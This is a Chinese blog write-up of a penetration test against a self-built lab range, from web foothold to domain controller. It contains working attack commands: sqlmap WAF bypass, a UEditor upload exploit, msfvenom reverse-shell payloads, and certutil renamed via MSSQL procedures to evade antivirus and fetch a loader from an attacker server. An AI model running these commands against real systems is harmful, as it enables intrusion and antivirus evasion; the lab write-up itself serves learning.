记一次和室友曲折的靶场实战

0x00 前言

开局豪言壮语:“两天必拿下!”;前期自言自语:“为啥这也能被杀啊?”;中期胡言乱语:“行了行了今天就这样吧”;后期沉默不语…

模拟真实环境,我把Web1通过frp转发给了VPS,修改本地hosts即可访问Web服务,总的来说这一套靶场打下来还算畅快~也见识到了自己各个方面的不足,这里简单做一个记录 (只记录可能有用的环节,一些白忙活的试错已抹去…),域内的部分大多是室友(后文用『马哥』代替)负责,我就不过多介绍了~

0x01 Web1

访问www.ackmoon.com:

发现我还在配域环境的时候,马哥已经拿到了一个xss…

image-20220330090254442

目录扫描,扫到了/login路由,登录显示存在admin用户,随意创建一个用户进后台发现可以是可以直接修改前台模版(html),但是进一步操作需要管理员权限。

image-20220330090936005

查看网站配置,发现使用了MSSQL和百度Ueditor,隐隐约约记得1.4.3这个版本是有洞的,不过上网查了一下漏洞利用需要一个富文本编辑器的接口,普通用户是看不到的。

种种迹象表明,应该需要拿到管理员权限才能更进一步。

网站首页查询界面存在sql注入

image-20220324170705114

不过发现注入速度非常慢,大概10多秒钟才能回显一个字母。

一般这种xxxcms的建站,在网上都可以搜到相关源码,而数据库相关信息都是写死在源码中的,我们需要拿到管理员密码,那么只需要找到密码在数据库中所在的表和列即可。

image-20220330090053912

在源码的HdhApp.cinfig中找到了数据库文件HdbCms.mdb,可用微软自带的Access打开:

image-20220330090117660

经测试网站存在WAF,不过可用大小写绕过,这里选择sqlmap的randomcase模式:

python3 sqlmap.py -r "~/sql.txt" -p DonforGjc -D "DemoHdhCms" -T "Onkey_DonforGlcy" -C "pwd" --tamper=randomcase --dump

image-20220324174403445

拿到了管理员密码,不过我继续看了一下源码,抱着好奇的心态全局搜索了一下UEditor,居然搜到了其对应的借口,用admin,password-moon登录上去确实的确是这个。

image-20220330090143924

麻了感觉白注入,不过关系不大,那就直接打UEditor吧。

写一个aspx一句话,改名为 theoyu.jpg,放在vps上并开启http服务。

本地创建一个html文件:

<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">   <p>shell addr:<input type="text" name="source[]" /></p >   <input type="submit" value="Submit" />

</form>

浏览器打开后输入http://your_ip/theoyu.jpg?.aspx,利用解析漏洞上传上去(被保存为了aspx文件)

image-20220324184727113

webshell上线之后,蚁剑连接,看看杀软:

image-20220325141017282

进程名称 识别结果
ZhuDongFangYu.exe 360安全卫士-主动防御
360sd.exe 360杀毒
hws.exe 护卫神

之后马哥就进入了漫长的免杀环节…

想起来之前下载源码的 HdhApp.config 文件是会记录数据库机器的信息的,留意了一下再看看:

image-20220325100258375

发现source指向并非官方源码上的localhost,而是22网段的一个ip,怀疑存在站库分离。

0x02 data1

信息收集了一下也的确存在22网段和这个ip,mssql默认端口号为1433,这里我使用哥斯拉自带数据库管理进行连接。

image-20220325141502201

连上之后,可以命令执行,但是很不方便(回显都在一张表里..),whoami看到还是一个很低的权限用户,需要cs或者msf后渗透才行。

可是msf在本地,接收不到web1的shell,决定用frpb把本地msf监听端口映射到公网。

[common]
server_addr = your ip
server_port = 7001

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 2333

这样反弹在公网2333端口的流量,就会转发给本地4444端口。

另外web1虽然是x64,但是x64的payload一直没反应,换x86的反而好了。

msfvenom  -p windows/meterpreter/reverse_tcp LHOST=your ip LPORT=2333 -f aspx >~/theoyu.aspx
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT  4444 
LPORT => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Sending stage (175174 bytes) to 127.0.0.1
[*] Meterpreter session 11 opened (127.0.0.1:4444 -> 127.0.0.1:63692 ) at 2022-03-25 14:38:21 +0800

meterpreter > 

个人使用cs多一些,所以决定派生给Cobalt Strike。

meterpreter > background 
[*] Backgrounding session 14...
msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) >  set LHOST your_ip
LHOST => your_ip
msf6 exploit(windows/local/payload_inject) > set LPORT 7777
LPORT => 7777
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true
disablepayloadhandler => true
msf6 exploit(windows/local/payload_inject) > set session 14
session => 14
msf6 exploit(windows/local/payload_inject) > run

cs接收后,是用烂土豆可以直接提权到System。(马哥放弃了免杀,选择加入)

image-20220325160102079

本来打算用cs自带的代理,用proxychain配合MDUT直接打数据库,但是m1的proxychain配了一下午也没配好,蚌埠住了,直接上网找了个自带数据库管理的大马。上面纯纯白忙活。(其实也不算白忙活,在exe被直接杀的情况下,也的确可以用这种方式回弹cs)

命令执行后,查一下进程,有火绒。

image-20220326104435675

image-20220326011713900

回到web1,之前马哥在web1被360杀疯了,在他的请求下我看了眼虚拟机是啥情况:

E3B51E067B2366D67635BC9838C3B0C2

40C990A590B7A5066AF38F27984D7FCC

我理解这是两类防御,第一种是木马查杀,也就是直接传可执行文件,没做免杀或者免杀力度不够上来就没了。第二类是加载器+注入内存,不过此类可能会被入侵检测检测到。

上网查了一下,火绒应该只针对前者还有本地的异常命令进行检测,所以可以利用certutil从vps上远程下载loader和row文件。

Exec master.dbo.xp_cmdshell ' certutil –urlcache –f –split http://your ip/HanzoInjection.exe C:\Windows\Temp\loader.exe'

image-20220326114039661

image-20220326113519456

发现vps收到了访问请求,但是并没能下载成功,查了一下是火绒对本地certutil有所限制,可以 把system32下的certutil移位置重命名绕过检测。

exec sp_configure 'show advanced options', 1;  RECONFIGURE;  exec sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE;


利用sp_oacreate构造语句,将certutil.exe复制到c:\windows\temp\下,并重命名为sethc.exe:
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://your_ip:20022/HanzoInjection.exe" C:\Users\MSSQLSERVER\loader.exe'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://your ip/cs.bin" C:\Users\MSSQLSERVER\cs.bin'

Exec master.dbo.xp_cmdshell 'cd C:\Users\MSSQLSERVER\ && loader.exe -e cs.bin'

cs接收后,同web1烂土豆提权。

image-20220326125847785

信息收集,马哥发现22网段下135存活,建立cs自带的socks代理,马哥继续nmap扫描

Nmap scan report for 192.168.22.135
Host is up (1.4s latency).
Not shown: 983 closed ports
PORT      STATE SERVICE            VERSION
25/tcp    open  smtp?
80/tcp    open  http               Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
110/tcp   open  pop3?
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp  open  mysql              MySQL (unauthorized)
3389/tcp  open  ssl/ms-wbt-server?
4444/tcp  open  krb524?
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

80端口下是个Apache服务,进入Web2。

0x03 Web2

192.168.22.135的80端口开启了Apache服务,通过代理访问,是一个 演示:J WT实战:使用axios+PHP 实现登录认证页面,用给的demo账号登录没有反应,这里马哥去爆破jwt密钥了。

image-20220326141009298

继续信息收集,扫到目录下a.php,前面是一堆sql日志信息,后面打印了phpinfo

image-20220326162954201

发现PHP_SESSION_UPLOAD_PROGRESS是开启的,那么如果存在文件包含是可能可以直接LFI Getshell(说是有可能是因为用代理打的话,不太稳定)。

但是走到a.php最后,我直接蚌埠住了,什么意思?

image-20220326162254713

这不就是典型的一句话木马没传参数的报错嘛,给蚁剑设上代理,连接试试

image-20220326162618818

成功了,有点没弄懂,那jwt页面岂不是完全唬人嘛,马哥的爆破也白弄了,不过如果是真实环境下,倒是也都有可能,前进都是在不断试错的基础上迈步。

蚁剑连上去,发现phpmyadmin,以及几个文件的创建时间,结合之前a.php上sql日志信息,大概明白应该是利用jwt爆破的密钥登录phpmyadmin,再利用日志文件getshell。

image-20220326164915760

马哥jwt也爆破出来了

image-20220326163351362

简单测试了一下,用root Qweasdzxc5 登录phpmyadmin成功 ,之后就是很简单的日志写马,就不演示了。

但是Web2并不出网,这里我们通过Web1做跳板机代理出来。

image-20220326175722454

payload生成选择Windows Excutable(s),再用蚁剑上传上去,执行拿到权限。

image-20220326180431551

但是session极其不稳定,平均一分钟一跳,很难受:

image-20220326182548376

看网上说用ew做跳板工具会比cs自带的转发稳定一些,不过在web1基本上上去就被杀了。之前Kcon关注到Stowaway这个项目还不错,有机会可以学习一下。

0x04 DC+data2

发现Web2在域内,看一下域内机器:

image-20220326195802401

出去上了个课,回来马哥已经拿下了域控(别骂了别骂了有机会我补上),这里我横向建立 SMB Beacon,域内就可以批量上线了~

image-20220329003822748

image-20220329004044722

image-20220329003540577

最后:

image-20220329003649048

总结

  1. mac极其不方便,很多免杀工具都依赖于winAPI,直接G。
  2. 在未知的环境下,需要清楚自己当前的目标是什么,不然很容易在无意义的事情上浪费时间。
  3. 有机会可以学学多级代理、端口复用,自己写点东西。
  4. 内网还挺有意思,虽然我只是Script Kid。